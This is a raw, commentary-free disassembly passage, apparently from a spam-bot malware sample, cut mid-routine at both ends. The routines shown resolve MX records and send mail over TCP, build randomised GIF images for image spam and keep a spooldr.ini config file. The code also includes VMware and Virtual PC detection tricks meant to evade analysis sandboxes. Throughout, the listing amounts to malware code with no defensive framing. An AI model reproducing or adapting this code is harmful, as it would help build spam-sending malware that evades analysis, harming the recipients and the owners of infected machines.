= dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 11C4h call sub_4011B0 push ebx push esi push edi mov edi, ecx lea ecx, [ebp+var_10] call sub_40DB48 lea ecx, [ebp+var_1C] call sub_40DB48 lea ecx, [ebp+var_20] call sub_40DB48 lea ecx, [ebp+var_8] call sub_40DB48 lea ecx, [ebp+var_14] call sub_40DB48 push 1194h lea eax, [ebp+var_11C4] push 0 push eax call sub_40CCD9 mov ebx, [ebp+arg_0] add esp, 0Ch push dword ptr [ebx] lea ecx, [edi+38h] call sub_401F3E mov esi, eax test esi, esi mov [ebp+var_24], esi jnz short loc_40269D mov ecx, ebx call sub_401AE5 push ebx call sub_40D0B6 pop ecx jmp loc_402918 ; --------------------------------------------------------------------------- loc_40269D: ; CODE XREF: loc_40269D+64 j push 0 push dword ptr [esi+4] lea ecx, [ebp+var_10] call sub_40DB5E push offset asc_418268 ; ";" lea ecx, [ebx+4] call sub_40DD00 and [ebp+var_C], 0 mov ebx, eax mov eax, [ebx+4] test eax, eax mov [ebp+var_18], eax jbe short loc_4026FD lea eax, [ebp+var_11C4] mov [ebp+var_4], eax mov esi, 12Ch loc_4026D5: ; CODE XREF: loc_4026D5+D4 j mov eax, [ebp+var_C] cmp eax, 0Fh jge short loc_4026FA mov ecx, [ebx] push esi push dword ptr [ecx+eax*4] push [ebp+var_4] call lstrcpynA inc [ebp+var_C] mov eax, [ebp+var_C] add [ebp+var_4], esi cmp eax, [ebp+var_18] jb short loc_4026D5 loc_4026FA: ; CODE XREF: loc_4026FA+B7 j mov esi, [ebp+var_24] loc_4026FD: ; CODE XREF: loc_4026FD+A1 j mov ecx, ebx call sub_401F85 push ebx call sub_40D0B6 mov esi, [esi+8] test esi, esi pop ecx jz loc_4027C8 mov ecx, esi call sub_402E80 mov esi, eax push 0 mov [ebp+var_18], esi call sub_40CFAE push eax call sub_40CF2A mov eax, [esi+20h] mov ebx, [esi+24h] pop ecx pop ecx mov [ebp+var_24], eax call sub_40CF34 push 14h cdq pop ecx idiv ecx add edx, ebx push edx call sub_40CF34 push 14h pop ecx cdq idiv ecx mov ecx, esi add edx, [ebp+var_24] push edx call sub_402EBB mov ecx, esi call sub_402DEC test al, al jz short loc_4027C0 mov ebx, [esi+1Ch] mov esi, [esi+4] push 0 push ebx call sub_40C2F0 pop ecx pop ecx lea ecx, [ebp+var_C] mov [ebp+var_4], eax call sub_40DB48 push [ebp+var_4] lea ecx, [ebp+var_C] call sub_40DADA push 0 lea eax, [ebp+var_4] push eax push [ebp+var_C] push ebx push esi call sub_40C344 add esp, 14h push offset asc_418214 ; "^%" push offset aT ; "%^T" lea eax, [ebp+var_C] push eax lea ecx, [ebp+var_10] call sub_40DC4B lea ecx, [ebp+var_C] call sub_40DB59 loc_4027C0: ; CODE XREF: loc_4027C0+143 j lea ecx, [ebp+var_18] call sub_401D97 loc_4027C8: ; CODE XREF: loc_4027C8+EC j mov ebx, [ebp+arg_0] mov eax, [ebx+8] test eax, eax mov esi, offset aFrom ; "From: " jz short loc_4027F1 push eax call sub_40CD83 test eax, eax pop ecx jbe short loc_4027F1 push dword ptr [ebx+8] lea eax, [ebp+var_10] push esi push eax mov ecx, edi call sub_401B9A loc_4027F1: ; CODE XREF: loc_4027F1+1B1 j ; sub_402624+1BC j lea eax, [edi+14h] push eax push dword ptr [edi+8] lea ecx, [ebp+var_30] push dword ptr [edi+0Ch] call sub_4070A6 lea eax, [ebp+var_11C4] push eax lea eax, [ebp+var_10] push eax lea ecx, [ebp+var_30] call sub_407F86 push esi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax mov ecx, edi call sub_401B3F test al, al jz short loc_402875 xor esi, esi cmp [ebp+var_8], esi jnz short loc_402835 xor eax, eax jmp short loc_40283E ; --------------------------------------------------------------------------- loc_402835: ; CODE XREF: loc_402835+20B j push [ebp+var_8] call sub_40CD83 pop ecx loc_40283E: ; CODE XREF: loc_40283E+20F j mov ecx, [ebp+var_8] cmp byte ptr [eax+ecx-1], 40h jnz short loc_402853 push dword ptr [edi+8] lea ecx, [ebp+var_8] call sub_401AA0 loc_402853: ; CODE XREF: loc_402853+222 j push esi lea eax, [ebp+var_11C4] push eax lea ecx, [ebp+var_14] call sub_40DB5E push esi push offset a@ ; "@" lea ecx, [ebp+var_14] call sub_40DB2F cmp eax, esi jnz short loc_402888 loc_402875: ; CODE XREF: loc_402875+204 j mov ecx, ebx call sub_401AE5 push ebx call sub_40D0B6 pop ecx jmp loc_402908 ; --------------------------------------------------------------------------- loc_402888: ; CODE XREF: loc_402888+24F j push esi inc eax push eax lea ecx, [ebp+var_1C] call sub_40DB5E xor ebx, ebx loc_402895: ; CODE XREF: loc_402895+2BD j lea eax, [ebp+var_20] push eax test ebx, ebx setnz al push eax push [ebp+var_1C] call sub_40C574 add esp, 0Ch test al, al jz loc_402947 push [ebp+var_20] call sub_40C627 pop ecx push 1Eh push 19h push eax lea ecx, [edi+4] call sub_4012B3 mov esi, eax test esi, esi mov [ebp+var_4], esi jnz loc_402969 lea ecx, [ebp+var_4] call sub_4021A1 inc ebx cmp ebx, 3 jl short loc_402895 push offset aTcpConnectionI ; "TCP connection is failed" lea ecx, [ebp+var_18] call sub_40DCEB lea eax, [ebp+var_18] push eax push 0FFFFFFFFh push [ebp+arg_0] mov ecx, edi call sub_402512 lea ecx, [ebp+var_18] loc_402903: ; CODE XREF: loc_402903+343 j call sub_40DB59 loc_402908: ; CODE XREF: loc_402908+25F j ; sub_402624+411 j lea ecx, [ebp+var_2C] call sub_40DB59 lea ecx, [ebp+var_30] call sub_40DB59 loc_402918: ; CODE XREF: loc_402918+74 j lea ecx, [ebp+var_14] call sub_40DB59 lea ecx, [ebp+var_8] call sub_40DB59 lea ecx, [ebp+var_20] call sub_40DB59 lea ecx, [ebp+var_1C] call sub_40DB59 lea ecx, [ebp+var_10] call sub_40DB59 pop edi pop esi pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_402947: ; CODE XREF: loc_402947+288 j push offset aCanTGetMx ; "Can't get mx" lea ecx, [ebp+var_4] call sub_40DCEB lea eax, [ebp+var_4] push eax push 0FFFFFFFEh push [ebp+arg_0] mov ecx, edi call sub_402512 lea ecx, [ebp+var_4] jmp short loc_402903 ; --------------------------------------------------------------------------- loc_402969: ; CODE XREF: loc_402969+2AB j push [ebp+var_10] mov ecx, esi push [ebp+var_14] push [ebp+var_8] push dword ptr [edi+8] call sub_40D5DD test al, al mov ecx, [esi+0Ch] mov ebx, [esi+8] mov [ebp+var_C], ecx jnz loc_402A5C lea eax, [edi+50ACh] push eax call EnterCriticalSection cmp ebx, [edi+50A4h] jnz short loc_4029CE lea eax, [edi+50A8h] inc dword ptr [eax] cmp dword ptr [eax], 1Eh jbe short loc_4029E5 push 1 push 1B7740h push dword ptr [edi+50A0h] call WaitForSingleObjectEx test eax, eax jz short loc_4029E5 mov eax, [edi] mov ecx, edi call dword ptr [eax] jmp short loc_4029E5 ; --------------------------------------------------------------------------- loc_4029CE: ; CODE XREF: loc_4029CE+37C j cmp ebx, 0FFFFFFFEh mov eax, ebx jnz short loc_4029D8 or eax, 0FFFFFFFFh loc_4029D8: ; CODE XREF: loc_4029D8+3AF j and dword ptr [edi+50A8h], 0 mov [edi+50A4h], eax loc_4029E5: ; CODE XREF: loc_4029E5+389 j ; sub_402624+3A0 j ... lea eax, [edi+50ACh] push eax call LeaveCriticalSection lea eax, [ebx-190h] cmp eax, 63h ja short loc_402A3A mov ebx, [ebp+arg_0] add ebx, 8 mov eax, [ebx] test eax, eax jz short loc_402A14 push eax call sub_40CD83 test eax, eax pop ecx jnz short loc_402A1F loc_402A14: ; CODE XREF: loc_402A14+3E3 j lea eax, [ebp+var_8] push eax mov ecx, ebx call sub_40DC39 loc_402A1F: ; CODE XREF: loc_402A1F+3EE j push [ebp+arg_0] mov ecx, edi call sub_401E66 test al, al jz short loc_402A5C loc_402A2D: ; CODE XREF: loc_402A2D+45C j lea ecx, [ebp+var_4] call sub_4021A1 jmp loc_402908 ; --------------------------------------------------------------------------- loc_402A3A: ; CODE XREF: loc_402A3A+3D7 j cmp ebx, 22Ah jnz short loc_402A5C push offset aYahoo_com ; "yahoo.com" push [ebp+var_1C] call sub_40CD44 test eax, eax pop ecx pop ecx jnz short loc_402A5C mov [ebp+var_C], 4 loc_402A5C: ; CODE XREF: loc_402A5C+363 j ; sub_402624+407 j ... push dword ptr [esi+4] lea ecx, [ebp+var_18] call sub_40DCEB lea eax, [ebp+var_18] push eax push [ebp+var_C] mov ecx, edi push [ebp+arg_0] call sub_402512 lea ecx, [ebp+var_18] call sub_40DB59 jmp short loc_402A2D sub_402624 endp ; --------------------------------------------------------------------------- loc_402A82: ; DATA XREF: loc_402A82+2A o push esi push edi mov edi, ds:dword_4180B0 push 1 mov esi, ecx push 1 push dword ptr [esi+50A0h] call WaitForSingleObjectEx ; df--HS test eax, eax jz short loc_402ACE push ebx lea ebx, [esi+54h] loc_402AA0: ; CODE XREF: .text:00402ACB j mov ecx, ebx call sub_401CA6 test eax, eax jz short loc_402AB5 push eax mov ecx, esi call sub_402624 jmp short loc_402ABD ; --------------------------------------------------------------------------- loc_402AB5: ; CODE XREF: .text:00402AA9 j push 64h call Sleep loc_402ABD: ; CODE XREF: .text:00402AB3 j push 1 push 1 push dword ptr [esi+50A0h] call edi test eax, eax jnz short loc_402AA0 pop ebx loc_402ACE: ; CODE XREF: .text:00402A9A j pop edi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_402AD3 proc near ; CODE XREF: sub_402AD3+164 p arg_0 = dword ptr 4 push esi mov esi, ecx push edi push [esp+8+arg_0] lea edi, [esi+5088h] mov ecx, edi call sub_402172 xor ecx, ecx cmp [esi+508Ch], ecx jbe short loc_402B12 xor edx, edx loc_402AF4: ; CODE XREF: loc_402AF4+3D j mov eax, [edi] add eax, edx and dword ptr [eax+4], 0 inc ecx mov dword ptr [eax+0Ch], offset loc_402A82 mov [eax+8], esi add edx, 10h cmp ecx, [esi+508Ch] jb short loc_402AF4 loc_402B12: ; CODE XREF: loc_402B12+1D j pop edi pop esi retn 4 sub_402AD3 endp ; =============== S U B R O U T I N E ======================================= sub_402B17 proc near ; CODE XREF: sub_402B17+22 p arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push dword ptr [eax+8] mov esi, ecx push dword ptr [eax] call sub_41430E pop ecx pop ecx mov [esi+0Ch], eax pop esi retn 4 sub_402B17 endp ; =============== S U B R O U T I N E ======================================= sub_402B31 proc near ; DATA XREF: sub_402B31+20 o arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] push esi mov esi, [eax+34h] cmp dword ptr [esi+18h], 0 jbe short loc_402B5D push edi mov edi, [esp+8+arg_8] push edi push dword ptr [esi] push [esp+10h+arg_4] call sub_40CCF7 add [esi], edi add esp, 0Ch sub [esi+18h], edi mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_402B5D: ; CODE XREF: loc_402B5D+C j xor eax, eax pop esi retn sub_402B31 endp ; =============== S U B R O U T I N E ======================================= sub_402B61 proc near ; DATA XREF: sub_402B61+13 o arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] push esi mov esi, [eax+34h] mov eax, [esi+4] test eax, eax push edi mov edi, [esp+8+arg_8] jz short loc_402B83 mov ecx, [esi+1Ch] add ecx, edi push ecx push eax call sub_40CA55 jmp short loc_402B8B ; --------------------------------------------------------------------------- loc_402B83: ; CODE XREF: loc_402B83+12 j push 1 push edi call sub_40CA2C loc_402B8B: ; CODE XREF: loc_402B8B+20 j pop ecx pop ecx mov [esi+4], eax mov eax, [esi+1Ch] add eax, [esi+4] push edi push [esp+0Ch+arg_4] push eax call sub_40CCF7 add [esi+1Ch], edi add esp, 0Ch mov eax, edi pop edi pop esi retn sub_402B61 endp ; =============== S U B R O U T I N E ======================================= sub_402BAC proc near ; CODE XREF: sub_402BAC+A5 p ; sub_402E80+12 p push esi mov esi, ecx push edi xor edi, edi lea ecx, [esi+8] mov [ecx], edi push edi mov [esi+20h], edi mov [esi+24h], edi mov [esi+28h], edi call sub_408034 mov [esi+18h], edi mov [esi+0Ch], edi mov [esi+10h], edi mov [esi+14h], edi mov [esi+4], edi mov [esi+1Ch], edi pop edi mov eax, esi pop esi retn sub_402BAC endp ; =============== S U B R O U T I N E ======================================= sub_402BDD proc near ; CODE XREF: sub_402BDD+C p ; sub_401DFE+D p ... push esi mov esi, ecx mov eax, [esi+0Ch] test eax, eax jz short loc_402BEE push eax call sub_414373 pop ecx loc_402BEE: ; CODE XREF: loc_402BEE+8 j mov eax, [esi+4] test eax, eax jz short loc_402BFC push eax call sub_40CCC5 pop ecx loc_402BFC: ; CODE XREF: loc_402BFC+16 j lea ecx, [esi+8] pop esi jmp sub_4093F0 sub_402BDD endp ; =============== S U B R O U T I N E ======================================= sub_402C05 proc near ; CODE XREF: sub_402C05+B p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push esi push edi push ebx mov esi, ecx call sub_40D0BB pop ecx lea edi, [esi+8] push eax mov ecx, edi call sub_408034 push ebx push [esp+10h+arg_0] push dword ptr [edi] call sub_40CCF7 add esp, 0Ch pop edi mov [esi+28h], ebx pop esi pop ebx retn 8 sub_402C05 endp ; =============== S U B R O U T I N E ======================================= sub_402C38 proc near ; CODE XREF: sub_402C38+12 p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push esi push [esp+4+arg_4] mov esi, ecx push [esp+8+arg_0] call sub_402C05 mov eax, [esp+4+arg_8] mov [esi+20h], eax mov eax, [esp+4+arg_C] mov [esi+24h], eax pop esi retn 10h sub_402C38 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402C5A proc near ; CODE XREF: sub_402C5A+31 p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push esi push [ebp+arg_C] mov esi, ecx push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_402C38 mov eax, [ebp+arg_10] push [ebp+arg_14] mov ecx, esi mov [esi+14h], eax call sub_402B17 pop esi pop ebp retn 18h sub_402C5A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402C86 proc near ; CODE XREF: sub_402C86+B9 p var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi mov esi, ecx push edi lea edi, [esi+8] xor bl, bl cmp dword ptr [edi], 0 jnz loc_402DE3 mov eax, [ebp+arg_4] mov [esi+18h], eax mov eax, [ebp+arg_0] push offset sub_402B31 push esi mov [esi], eax call sub_413720 test eax, eax pop ecx pop ecx mov [esi+10h], eax jz loc_402DDE and [ebp+arg_0], 0 mov ecx, [eax+0Ch] mov [esi+14h], ecx lea ecx, [ebp+arg_0] push ecx inc bl push eax jmp loc_402DCD ; --------------------------------------------------------------------------- loc_402CD6: ; CODE XREF: loc_402CD6+150 j mov eax, [ebp+arg_0] cmp eax, 2 jnz short loc_402D40 push dword ptr [esi+10h] call sub_41344D test eax, eax pop ecx jz loc_402DA1 mov eax, [esi+10h] mov ecx, [eax+20h] mov [esi+20h], ecx mov ecx, [eax+24h] mov eax, [esi+20h] imul eax, ecx push eax mov [esi+24h], ecx mov [esi+28h], eax call sub_40D0BB pop ecx push eax mov ecx, edi call sub_408034 push dword ptr [esi+28h] push dword ptr [edi] push dword ptr [esi+10h] call sub_4139FE add esp, 0Ch test eax, eax jnz loc_402DC6 push eax mov ecx, edi call sub_408034 call sub_414233 jmp loc_402DC6 ; --------------------------------------------------------------------------- loc_402D40: ; CODE XREF: loc_402D40+56 j cmp eax, 4 jz short loc_402D7B cmp eax, 1 jnz short loc_402D59 push dword ptr [esi+10h] call sub_413334 test eax, eax pop ecx jz short loc_402DA1 jmp short loc_402DC6 ; --------------------------------------------------------------------------- loc_402D59: ; CODE XREF: loc_402D59+C2 j cmp eax, 3 jnz short loc_402DC6 and [ebp+arg_4], 0 lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_4] push eax push dword ptr [esi+10h] call sub_413631 add esp, 0Ch test eax, eax jnz short loc_402DBC xor bl, bl loc_402D7B: ; CODE XREF: loc_402D7B+BD j test bl, bl jz short loc_402DE3 mov eax, [esi+10h] mov eax, [eax+10h] push dword ptr [eax+8] push dword ptr [eax] call sub_41430E push dword ptr [esi+10h] mov [esi+0Ch], eax call sub_41312A add esp, 0Ch test eax, eax jnz short loc_402DE3 loc_402DA1: ; CODE XREF: loc_402DA1+63 j ; sub_402C86+CF j ... call sub_414233 xor bl, bl jmp short loc_402DE3 ; --------------------------------------------------------------------------- loc_402DAA: ; CODE XREF: loc_402DAA+13A j lea eax, [ebp+arg_4] push eax push dword ptr [esi+10h] call sub_4130C4 test eax, eax pop ecx pop ecx jz short loc_402DC4 loc_402DBC: ; CODE XREF: loc_402DBC+F1 j cmp [ebp+arg_4], 0 jnz short loc_402DAA jmp short loc_402DC6 ; --------------------------------------------------------------------------- loc_402DC4: ; CODE XREF: loc_402DC4+134 j xor bl, bl loc_402DC6: ; CODE XREF: loc_402DC6+A2 j ; sub_402C86+B5 j ... lea eax, [ebp+arg_0] push eax push dword ptr [esi+10h] loc_402DCD: ; CODE XREF: loc_402DCD+4B j call sub_41304B test eax, eax pop ecx pop ecx jnz loc_402CD6 jmp short loc_402DA1 ; --------------------------------------------------------------------------- loc_402DDE: ; CODE XREF: loc_402DDE+34 j call sub_414233 loc_402DE3: ; CODE XREF: loc_402DE3+11 j ; sub_402C86+F7 j ... pop edi pop esi mov al, bl pop ebx leave retn 8 sub_402C86 endp ; =============== S U B R O U T I N E ======================================= sub_402DEC proc near ; CODE XREF: sub_402DEC+13C p var_C = dword ptr -0Ch push ebx push esi mov esi, ecx xor ebx, ebx push offset a89a ; "89a" mov [esi+1Ch], ebx call sub_413B0A mov [esp+0Ch+var_C], offset sub_402B61 push esi call sub_413A73 cmp eax, ebx pop ecx pop ecx mov [esi+10h], eax jnz short loc_402E1E loc_402E15: ; CODE XREF: loc_402E15+50 j ; sub_402DEC+6B j ... call sub_414233 xor al, al jmp short loc_402E7D ; --------------------------------------------------------------------------- loc_402E1E: ; CODE XREF: loc_402E1E+27 j mov ecx, [esi+0Ch] mov edx, [esi+24h] push edi mov edi, [esi+20h] push ecx push dword ptr [esi+14h] push dword ptr [ecx] push edx push edi push eax call sub_413C3B add esp, 18h test eax, eax pop edi jz short loc_402E15 mov eax, [esi+24h] mov ecx, [esi+20h] push ebx push ebx push eax push ecx push ebx push ebx push dword ptr [esi+10h] call sub_41403A add esp, 1Ch test eax, eax jz short loc_402E15 push dword ptr [esi+28h] push dword ptr [esi+8] push dword ptr [esi+10h] call sub_4141CB add esp, 0Ch test eax, eax jz short loc_402E15 push dword ptr [esi+10h] call sub_413B1E test eax, eax pop ecx jz short loc_402E15 mov al, 1 loc_402E7D: ; CODE XREF: loc_402E7D+30 j pop esi pop ebx retn sub_402DEC endp ; =============== S U B R O U T I N E ======================================= sub_402E80 proc near ; CODE XREF: sub_402E80+F4 p push esi push edi push 2Ch mov esi, ecx call sub_40D0BB test eax, eax pop ecx jz short loc_402E9B mov ecx, eax call sub_402BAC mov edi, eax jmp short loc_402E9D ; --------------------------------------------------------------------------- loc_402E9B: ; CODE XREF: loc_402E9B+E j xor edi, edi loc_402E9D: ; CODE XREF: loc_402E9D+19 j push dword ptr [esi+0Ch] mov ecx, edi push dword ptr [esi+14h] push dword ptr [esi+24h] push dword ptr [esi+20h] push dword ptr [esi+28h] push dword ptr [esi+8] call sub_402C5A mov eax, edi pop edi pop esi retn sub_402E80 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402EBB proc near ; CODE XREF: sub_402EBB+135 p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push esi mov esi, ecx push edi lea eax, [esi+8] xor edi, edi cmp [eax], edi mov [ebp+var_8], eax jz loc_402FC5 mov eax, [ebp+arg_0] cmp eax, [esi+20h] jbe loc_402FC5 push ebx mov ebx, [ebp+arg_4] cmp ebx, [esi+24h] jbe loc_402FC4 push edi call sub_40CFAE push eax call sub_40CF2A mov eax, [ebp+arg_0] imul eax, ebx push eax mov [ebp+var_C], eax call sub_40D0BB add esp, 0Ch xor ebx, ebx cmp [esi+24h], edi mov [ebp+var_4], eax jbe short loc_402F66 mov eax, [esi+20h] loc_402F19: ; CODE XREF: loc_402F19+A9 j mov ecx, [ebp+var_8] push eax imul eax, ebx add eax, [ecx] push eax mov eax, [ebp+var_4] add eax, edi push eax call sub_40CCF7 mov eax, [esi+20h] mov ecx, [ebp+arg_0] sub ecx, eax push ecx lea ecx, [ebx+2] imul ecx, eax sub ecx, [ebp+arg_0] add edi, eax mov eax, [ebp+var_8] add ecx, [eax] mov eax, [ebp+var_4] push ecx add eax, edi push eax call sub_40CCF7 mov eax, [esi+20h] mov ecx, [ebp+arg_0] sub ecx, eax add esp, 18h add edi, ecx inc ebx cmp ebx, [esi+24h] jb short loc_402F19 loc_402F66: ; CODE XREF: loc_402F66+59 j mov eax, [esi+24h] mov ebx, [ebp+arg_4] dec eax cmp eax, ebx jnb short loc_402FA7 mov edi, eax imul edi, [ebp+arg_0] add edi, [ebp+var_4] sub ebx, eax loc_402F7C: ; CODE XREF: loc_402F7C+EA j push [ebp+arg_0] call sub_40CF34 cdq push 0Ah pop ecx idiv ecx mov eax, [esi+24h] sub eax, edx dec eax imul eax, [ebp+arg_0] add eax, [ebp+var_4] push eax push edi call sub_40CCF7 add edi, [ebp+arg_0] add esp, 0Ch dec ebx jnz short loc_402F7C loc_402FA7: ; CODE XREF: loc_402FA7+B4 j mov eax, [ebp+arg_0] push [ebp+var_4] mov ecx, [ebp+var_8] mov [esi+20h], eax mov eax, [ebp+arg_4] mov [esi+24h], eax mov eax, [ebp+var_C] mov [esi+28h], eax call sub_408034 loc_402FC4: ; CODE XREF: loc_402FC4+2D j pop ebx loc_402FC5: ; CODE XREF: loc_402FC5+14 j ; sub_402EBB+20 j pop edi pop esi leave retn 8 sub_402EBB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402FCB proc near ; CODE XREF: sub_402FCB+34 p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push esi mov esi, ecx lea ecx, [ebp+var_4] call sub_40DB48 push 105h lea ecx, [ebp+var_4] call sub_40DADA push [ebp+var_4] push 104h call GetCurrentDirectoryA push offset aSpooldr_ini ; "\\spooldr.ini" lea ecx, [ebp+var_4] call sub_401AA0 push 8 call sub_40D0BB test eax, eax pop ecx jz short loc_403017 mov ecx, eax call sub_40CC41 jmp short loc_403019 ; --------------------------------------------------------------------------- loc_403017: ; CODE XREF: loc_403017+41 j xor eax, eax loc_403019: ; CODE XREF: loc_403019+4A j push dword_421078 mov [esi], eax mov edx, [eax] push 80000002h mov ecx, eax call dword ptr [edx] push 0Ch call sub_40D0BB test eax, eax pop ecx jz short loc_403041 mov ecx, eax call sub_40C9A6 jmp short loc_403043 ; --------------------------------------------------------------------------- loc_403041: ; CODE XREF: loc_403041+6B j xor eax, eax loc_403043: ; CODE XREF: loc_403043+74 j push offset aConfig ; "config" push [ebp+var_4] mov [esi+4], eax mov edx, [eax] mov ecx, eax call dword ptr [edx] lea ecx, [ebp+var_4] call sub_40DB59 mov eax, esi pop esi leave retn sub_402FCB endp ; =============== S U B R O U T I N E ======================================= sub_403061 proc near ; CODE XREF: sub_403061+25 p push esi push edi mov edi, ecx xor esi, esi loc_403067: ; CODE XREF: loc_403067+12 j mov ecx, [edi+esi*4] mov eax, [ecx] call dword ptr [eax+8] inc esi cmp esi, 2 jb short loc_403067 pop edi pop esi retn sub_403061 endp ; =============== S U B R O U T I N E ======================================= sub_403078 proc near ; CODE XREF: sub_403078+5A p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx mov ecx, [esi] push dword_421070 mov eax, [ecx] call dword ptr [eax+0Ch] test al, al jnz short loc_4030A4 push [esp+4+arg_0] mov ecx, [esi+4] push dword_421070 mov eax, [ecx] call dword ptr [eax+0Ch] jmp short loc_4030A6 ; --------------------------------------------------------------------------- loc_4030A4: ; CODE XREF: loc_4030A4+16 j mov al, 1 loc_4030A6: ; CODE XREF: loc_4030A6+2A j pop esi retn 4 sub_403078 endp ; =============== S U B R O U T I N E ======================================= sub_4030AA proc near ; CODE XREF: sub_4030AA+B3 p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx mov ecx, [esi] push dword_421070 mov eax, [ecx] call dword ptr [eax+10h] test al, al jz short loc_4030DD push [esp+4+arg_0] mov ecx, [esi+4] push dword_421070 mov eax, [ecx] call dword ptr [eax+10h] test al, al jz short loc_4030DD xor eax, eax inc eax jmp short loc_4030DF ; --------------------------------------------------------------------------- loc_4030DD: ; CODE XREF: loc_4030DD+16 j ; sub_4030AA+2C j xor eax, eax loc_4030DF: ; CODE XREF: loc_4030DF+31 j pop esi retn 4 sub_4030AA endp ; =============== S U B R O U T I N E ======================================= sub_4030E3 proc near ; CODE XREF: sub_4030E3+4F p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx mov ecx, [esi] push dword_421074 mov eax, [ecx] call dword ptr [eax+0Ch] test al, al jnz short loc_40310F push [esp+4+arg_0] mov ecx, [esi+4] push dword_421074 mov eax, [ecx] call dword ptr [eax+0Ch] jmp short loc_403111 ; --------------------------------------------------------------------------- loc_40310F: ; CODE XREF: loc_40310F+16 j mov al, 1 loc_403111: ; CODE XREF: loc_403111+2A j pop esi retn 4 sub_4030E3 endp ; =============== S U B R O U T I N E ======================================= sub_403115 proc near ; CODE XREF: sub_403115+24A p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx mov ecx, [esi] push dword_421074 mov eax, [ecx] call dword ptr [eax+10h] test al, al jz short loc_403148 push [esp+4+arg_0] mov ecx, [esi+4] push dword_421074 mov eax, [ecx] call dword ptr [eax+10h] test al, al jz short loc_403148 xor eax, eax inc eax jmp short loc_40314A ; --------------------------------------------------------------------------- loc_403148: ; CODE XREF: loc_403148+16 j ; sub_403115+2C j xor eax, eax loc_40314A: ; CODE XREF: loc_40314A+31 j pop esi retn 4 sub_403115 endp ; --------------------------------------------------------------------------- loc_40314E: ; CODE XREF: loc_40314E+13 p push 14h push offset dword_420358 call __SEH_prolog mov byte ptr [ebp-19h], 0 and dword ptr [ebp-4], 0 push ebx mov ebx, 0 mov eax, 1 ; --------------------------------------------------------------------------- db 0Fh, 3Fh, 7 dd 0FDB850Bh, 5BE74594h, 458B35EBh, 0DC4589ECh, 8BDC458Bh dd 45890440h, 0E0458BE0h, 0A48883h, 8BFF0000h, 808BE045h dd 0B8h, 8B04C083h, 8189E04Dh, 0B8h, 0C3FFC883h, 83E8658Bh dd 8AFFFC4Dh, 0ECE8E745h, 0C3000141h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4031BC proc near ; CODE XREF: sub_4031BC+6 p var_19 = byte ptr -19h ms_exc = CPPEH_RECORD ptr -18h push 0Ch push offset dword_420368 call __SEH_prolog mov [ebp+var_19], 1 and [ebp+ms_exc.disabled], 0 push edx push ecx push ebx mov eax, 564D5868h mov ebx, 0 mov ecx, 0Ah mov edx, 5658h in eax, dx cmp ebx, 564D5868h setz [ebp+var_19] pop ebx pop ecx pop edx jmp short loc_403202 ; --------------------------------------------------------------------------- xor eax, eax inc eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+ms_exc.old_esp] mov [ebp+var_19], 0 loc_403202: ; CODE XREF: loc_403202+39 j or [ebp+ms_exc.disabled], 0FFFFFFFFh mov al, [ebp+var_19] call __SEH_epilog retn sub_4031BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40320F proc near ; CODE XREF: sub_40320F+7A p var_114 = byte ptr -114h var_10 = byte ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 var_3 = byte ptr -3 push ebp mov ebp, esp sub esp, 114h push ebx lea eax, [ebp+var_10] push eax lea eax, [ebp+var_114] push eax push 104h push offset aSpooldr_ini_0 ; "spooldr.ini" call GetFullPathNameA lea eax, [ebp+var_114] push eax call GetFileAttributesA cmp eax, 0FFFFFFFFh jnz short loc_4032C4 xor ebx, ebx push ebx push 80h push 2 push ebx push 7 push 40000000h lea eax, [ebp+var_114] push eax call CreateFileA cmp eax, 0FFFFFFFFh mov [ebp+var_8], eax jnz short loc_403271 xor al, al jmp short loc_4032C6 ; --------------------------------------------------------------------------- loc_403271: ; CODE XREF: loc_403271+5C j push esi push edi mov edi, ds:dword_4180FC loc_403279: ; CODE XREF: loc_403279+A8 j push 0 lea eax, [ebp+var_C] push eax lea esi, dword_421218[ebx] push dword ptr [esi] call sub_40CD83 pop ecx push eax push dword ptr [esi] push [ebp+var_8] call WriteFile ; df--HS push 0 lea eax, [ebp+var_C] push eax push 2 lea eax, [ebp+var_4] push eax push [ebp+var_8] mov [ebp+var_4], 0Dh mov [ebp+var_3], 0Ah call WriteFile ; df--HS add ebx, 4 cmp ebx, 494h jb short loc_403279 push [ebp+var_8] call CloseHandle pop edi pop esi 